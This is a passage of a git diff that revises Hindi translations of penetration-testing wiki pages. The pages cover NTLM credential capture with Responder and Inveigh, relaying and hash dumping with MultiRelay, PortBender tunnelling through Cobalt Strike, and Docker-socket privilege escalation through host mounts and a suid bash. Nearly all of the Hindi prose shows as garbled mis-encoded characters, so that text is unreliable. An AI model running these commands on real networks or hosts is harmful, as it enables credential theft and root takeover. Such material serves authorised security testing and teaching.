рдЕрдиреБрдХрд░рдг рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: `responder -I --wpad` - NetBIOS рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ IP рдкрд░ рд╣рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдПрдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░реЙрдХреНрд╕реА рд╕реНрдерд╛рдкрд┐рдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ: `responder.py -I -Pv` ### DHCP Poisoning with Responder -- DHCP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕реНрдкреВрдл рдХрд░рдирд╛ рдПрдХ рдкреАрдбрд╝рд┐рдд рдХреА рд░реВрдЯрд┐рдВрдЧ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рдЬрд╝рд╣рд░ рджреЗ рд╕рдХрддрд╛ рд╣реИ, ARP рдЬрд╝рд╣рд░ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдзрд┐рдХ рдЫрд┐рдкрд╛ рд╣реБрдЖ рд╡рд┐рдХрд▓реНрдк рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +- DHCP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕реНрдкреВрдл рдХрд░рдирд╛ рдПрдХ рдкреАрдбрд╝рд┐рдд рдХреА рд░реВрдЯрд┐рдВрдЧ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, ARP рд╡рд┐рд╖рд╛рдХреНрддрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдзрд┐рдХ рдЫрд┐рдкрд╛ рд╣реБрдЖ рд╡рд┐рдХрд▓реНрдк рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред - рдпрд╣ рд▓рдХреНрд╖рд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдЯреАрдХ рдЬреНрдЮрд╛рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред - рд╣рдорд▓реЗ рдХреЛ рдЪрд▓рд╛рдирд╛: `./Responder.py -I eth0 -Pdv` - рдпрд╣ рд╡рд┐рдзрд┐ NTLMv1/2 рд╣реИрд╢ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдХреИрдкреНрдЪрд░ рдХрд░ рд╕рдХрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рд╡реНрдпрд╡рдзрд╛рди рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рд╣реИрдВрдбрд▓рд┐рдВрдЧ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред ### Capturing Credentials with Responder -- Responder рдЙрдкрд░реЛрдХреНрдд рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░реЗрдЧрд╛, рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реНрдкреВрдл рдХреА рдЧрдИ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ (рдЖрдорддреМрд░ рдкрд░ NTLMv2 Challenge/Response) рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИред +- Responder рдЙрдкрд░реЛрдХреНрдд рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░реЗрдЧрд╛, рдЬрдм рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдХрд░рдгрд┐рдд рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ (рдЖрдорддреМрд░ рдкрд░ NTLMv2 рдЪреБрдиреМрддреА/рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛) рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИред - NetNTLMv1 рдореЗрдВ рдбрд╛рдЙрдирдЧреНрд░реЗрдб рдХрд░рдиреЗ рдпрд╛ рдЖрд╕рд╛рди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреНрд░реИрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП ESS рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдЗрди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд╛рдиреВрдиреА рдФрд░ рдиреИрддрд┐рдХ рд░реВрдк рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЙрдЪрд┐рдд рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдФрд░ рд╡реНрдпрд╡рдзрд╛рди рдпрд╛ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рд╕реЗ рдмрдЪрдирд╛ рдЪрд╛рд╣рд┐рдПред +рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдЗрди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд╛рдиреВрдиреА рдФрд░ рдиреИрддрд┐рдХ рд░реВрдк рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдП, рдЙрдЪрд┐рдд рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдФрд░ рд╡реНрдпрд╡рдзрд╛рди рдпрд╛ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рд╕реЗ рдмрдЪрддреЗ рд╣реБрдПред ## Inveigh Inveigh рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ рдкреЗрдирд┐рдЯреНрд░реЗрд╢рди рдЯреЗрд╕реНрдЯрд░реНрд╕ рдФрд░ рд░реЗрдб рдЯреАрдорд░реНрд╕ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ Windows рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рд╣реИред рдпрд╣ Responder рдХреЗ рд╕рдорд╛рди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рд╕реНрдкреВрдлрд┐рдВрдЧ рдФрд░ рдореИрди-рдЗрди-рдж-рдорд┐рдбрд▓ рд╣рдорд▓реЗ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЙрдкрдХрд░рдг PowerShell рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реЗ C# рдмрд╛рдЗрдирд░реА рдореЗрдВ рд╡рд┐рдХрд╕рд┐рдд рд╣реБрдЖ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) рдФрд░ [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) рдореБрдЦреНрдп рд╕рдВрд╕реНрдХрд░рдг рд╣реИрдВред рд╡рд┐рд╕реНрддреГрдд рдкреИрд░рд╛рдореАрдЯрд░ рдФрд░ рдирд┐рд░реНрджреЗрд╢ [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) рдореЗрдВ рдорд┐рд▓ рд╕рдХрддреЗ рд╣реИрдВред Inveigh рдХреЛ PowerShell рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: -```powershell +```bash Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y ``` рдпрд╛ C# рдмрд╛рдЗрдирд░реА рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛: @@ -69,7 +69,7 @@ Inveigh.exe #### 445 Port Forwarding and Tunneling -рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ рд╕реАрдзреЗ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░рд┐рдЪрдп рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рдкреЛрд░реНрдЯ 445 рдкрд░ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдФрд░ рдЯрдирд▓ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред [**PortBender**](https://github.com/praetorian-inc/PortBender) рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдкреЛрд░реНрдЯ 445 рдХреЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рджреВрд╕рд░реЗ рдкреЛрд░реНрдЯ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рддрдм рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдбреНрд░рд╛рдЗрд╡рд░ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╣реБрдБрдЪ рдЙрдкрд▓рдмреНрдз рд╣реЛред +рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ рд╕реАрдзреЗ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░рд┐рдЪрдп рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рдкреЛрд░реНрдЯ 445 рдкрд░ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдФрд░ рдЯрдирд▓ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред [**PortBender**](https://github.com/praetorian-inc/PortBender) рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдкреЛрд░реНрдЯ 445 рдХреЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рджреВрд╕рд░реЗ рдкреЛрд░реНрдЯ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдбреНрд░рд╛рдЗрд╡рд░ рд▓реЛрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╣реБрдБрдЪ рдЙрдкрд▓рдмреНрдз рд╣реЛрдиреЗ рдкрд░ рдЖрд╡рд╢реНрдпрдХ рд╣реИред PortBender рд╕реЗрдЯрдЕрдк рдФрд░ рд╕рдВрдЪрд╛рд▓рди Cobalt Strike рдореЗрдВ: ```bash @@ -93,7 +93,7 @@ beacon> socks stop - **smbrelayx**: SMB рд╕рддреНрд░реЛрдВ рдХреЛ рд░рд┐рд▓реЗ рдХрд░рдиреЗ рдФрд░ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдпрд╛ рдмреИрдХрдбреЛрд░ рддреИрдирд╛рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ Python рд╕реНрдХреНрд░рд┐рдкреНрдЯред - **MultiRelay**: Responder рд╕реВрдЯ рд╕реЗ рдПрдХ рдЙрдкрдХрд░рдг рдЬреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдпрд╛ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд░рд┐рд▓реЗ рдХрд░рдиреЗ, рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдпрд╛ рд╣реИрд╢ рдбрдВрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред -рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ, рддреЛ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдХрд░рдг рдХреЛ SOCKS рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рдиреЗрдЯрд╡рд░реНрдХ рдкрд╣реБрдВрдЪ рдХреЗ рд╕рд╛рде рднреА рд╣рдорд▓реЗ рд╕рдХреНрд╖рдо рд╣реЛрддреЗ рд╣реИрдВред +рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдХрд░рдг рдХреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛рдиреБрд╕рд╛рд░ SOCKS рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рдиреЗрдЯрд╡рд░реНрдХ рдкрд╣реБрдВрдЪ рдХреЗ рд╕рд╛рде рднреА рд╣рдорд▓реЗ рд╕рдХреНрд╖рдо рд╣реЛрддреЗ рд╣реИрдВред ### MultiRelay рд╕рдВрдЪрд╛рд▓рди @@ -105,7 +105,7 @@ python MultiRelay.py -t -u ALL -d # Dump hashes # Proxychains for routing traffic ``` -рдпреЗ рдЙрдкрдХрд░рдг рдФрд░ рддрдХрдиреАрдХреЗрдВ рд╡рд┐рднрд┐рдиреНрди рдиреЗрдЯрд╡рд░реНрдХ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ NTLM Relay рд╣рдорд▓реЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╛рдкрдХ рд╕реЗрдЯ рдмрдирд╛рддреА рд╣реИрдВред +рдпреЗ рдЙрдкрдХрд░рдг рдФрд░ рддрдХрдиреАрдХреЗрдВ рд╡рд┐рднрд┐рдиреНрди рдиреЗрдЯрд╡рд░реНрдХ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ NTLM Relay рд╣рдорд▓реЛрдВ рдХреЛ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╛рдкрдХ рд╕реЗрдЯ рдмрдирд╛рддреА рд╣реИрдВред ### NTLM рд▓реЙрдЧрд┐рди рдХреЛ рдордЬрдмреВрд░ рдХрд░рдирд╛ diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index d6d57144a..8331b9805 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -6,11 +6,11 @@ ### рдорд╛рдЙрдВрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ -рдЖрдк рдПрдХ рдХрдВрдЯреЗрдирд░ рдореЗрдВ **рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо** рдХреЗ рд╡рд┐рднрд┐рдиреНрди рднрд╛рдЧреЛрдВ рдХреЛ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ **рдорд╛рдЙрдВрдЯ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ **рдПрдХреНрд╕реЗрд╕** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ +рдЖрдк **рд░реВрдЯ** рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рдХрдВрдЯреЗрдирд░ рдореЗрдВ **рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо** рдХреЗ рд╡рд┐рднрд┐рдиреНрди рднрд╛рдЧреЛрдВ рдХреЛ **рдорд╛рдЙрдВрдЯ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ **рдПрдХреНрд╕реЗрд╕** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ рдЖрдк рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП **рдорд╛рдЙрдВрдЯ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ** рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред - **`-v /:/host`** -> рдХрдВрдЯреЗрдирд░ рдореЗрдВ рд╣реЛрд╕реНрдЯ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк **рд╣реЛрд╕реНрдЯ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрдврд╝ рд╕рдХреЗрдВред** -- рдпрджрд┐ рдЖрдк **рдорд╣рд╕реВрд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рд╣реЛрд╕реНрдЯ рдореЗрдВ рд╣реИрдВ** рд▓реЗрдХрд┐рди рдХрдВрдЯреЗрдирд░ рдореЗрдВ рд╣реИрдВ, рддреЛ рдЖрдк рдлреНрд▓реИрдЧреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреНрдп рд░рдХреНрд╖рд╛ рддрдВрддреНрд░реЛрдВ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ: +- рдпрджрд┐ рдЖрдк **рдорд╣рд╕реВрд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рд╣реЛрд╕реНрдЯ рдореЗрдВ рд╣реИрдВ** рд▓реЗрдХрд┐рди рдХрдВрдЯреЗрдирд░ рдореЗрдВ рд╣реИрдВ, рддреЛ рдЖрдк рдлреНрд▓реИрдЧреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреНрдп рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░реЛрдВ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ: - `--privileged` - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -20,24 +20,24 @@ - `--userns=host` - `--uts=host` - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> рдпрд╣ рдкрд┐рдЫрд▓реЗ рддрд░реАрдХреЗ рдХреЗ рд╕рдорд╛рди рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣рд╛рдБ рд╣рдо **рдбрд┐рд╡рд╛рдЗрд╕ рдбрд┐рд╕реНрдХ рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░ рд░рд╣реЗ рд╣реИрдВ**ред рдлрд┐рд░, рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ `mount /dev/sda1 /mnt` рдЪрд▓рд╛рдПрдБ рдФрд░ рдЖрдк **/mnt** рдореЗрдВ **рд╣реЛрд╕реНрдЯ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо** рдХреЛ **рдПрдХреНрд╕реЗрд╕** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> рдпрд╣ рдкрд┐рдЫрд▓реЗ рддрд░реАрдХреЗ рдХреЗ рд╕рдорд╛рди рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣рд╛рдБ рд╣рдо **рдбрд┐рд╡рд╛рдЗрд╕ рдбрд┐рд╕реНрдХ рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░ рд░рд╣реЗ рд╣реИрдВ**ред рдлрд┐рд░, рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ `mount /dev/sda1 /mnt` рдЪрд▓рд╛рдПрдБ рдФрд░ рдЖрдк **/mnt** рдореЗрдВ **рд╣реЛрд╕реНрдЯ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо** рдХреЛ **рдПрдХреНрд╕реЗрд╕** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред - рд╣реЛрд╕реНрдЯ рдореЗрдВ `fdisk -l` рдЪрд▓рд╛рдПрдБ рддрд╛рдХрд┐ `` рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред -- **`-v /tmp:/host`** -> рдпрджрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ рдЖрдк **рдХреЗрд╡рд▓ рдХреБрдЫ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛** рдХреЛ рд╣реЛрд╕реНрдЯ рд╕реЗ рдорд╛рдЙрдВрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╣реЛрд╕реНрдЯ рдХреЗ рдЕрдВрджрд░ рдкрд╣реБрдВрдЪ рд╣реИред рдЗрд╕реЗ рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВ рдФрд░ рдорд╛рдЙрдВрдЯ рдХреА рдЧрдИ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ **`/bin/bash`** рдХреЗ рд╕рд╛рде **suid** рдмрдирд╛рдПрдВ рддрд╛рдХрд┐ рдЖрдк **рдЗрд╕реЗ рд╣реЛрд╕реНрдЯ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХреЗрдВ рдФрд░ рд░реВрдЯ рддрдХ рдмрдврд╝рд╛ рд╕рдХреЗрдВ**ред +- **`-v /tmp:/host`** -> рдпрджрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ рдЖрдк **рдХреЗрд╡рд▓ рдХреБрдЫ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛** рдХреЛ рд╣реЛрд╕реНрдЯ рд╕реЗ рдорд╛рдЙрдВрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╣реЛрд╕реНрдЯ рдХреЗ рдЕрдВрджрд░ рдкрд╣реБрдВрдЪ рд╣реИред рдЗрд╕реЗ рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВ рдФрд░ рдорд╛рдЙрдВрдЯ рдХреА рдЧрдИ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ **suid** рдХреЗ рд╕рд╛рде **`/bin/bash`** рдмрдирд╛рдПрдВ рддрд╛рдХрд┐ рдЖрдк **рдЗрд╕реЗ рд╣реЛрд╕реНрдЯ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХреЗрдВ рдФрд░ рд░реВрдЯ рддрдХ рдмрдврд╝рд╛ рд╕рдХреЗрдВ**ред > [!NOTE] > рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╢рд╛рдпрдж рдЖрдк `/tmp` рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдорд╛рдЙрдВрдЯ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд▓реЗрдХрд┐рди рдЖрдк рдПрдХ **рд╡рд┐рднрд┐рдиреНрди рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░** рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП: `find / -writable -type d 2>/dev/null` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред > -> **рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╕рднреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ рд▓рд┐рдирдХреНрд╕ рдорд╢реАрди рдореЗрдВ suid рдмрд┐рдЯ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░реЗрдВрдЧреА!** рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреМрди рд╕реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ suid рдмрд┐рдЯ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреА рд╣реИрдВ, `mount | grep -v "nosuid"` рдЪрд▓рд╛рдПрдБред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` рдФрд░ `/var/lib/lxcfs` suid рдмрд┐рдЯ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред +> **рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд▓рд┐рдирдХреНрд╕ рдорд╢реАрди рдореЗрдВ рд╕рднреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ suid рдмрд┐рдЯ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░реЗрдВрдЧреА!** рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреМрди рд╕реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ suid рдмрд┐рдЯ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреА рд╣реИрдВ, `mount | grep -v "nosuid"` рдЪрд▓рд╛рдПрдБред рдЙрджрд╛рд╣рд░рдг 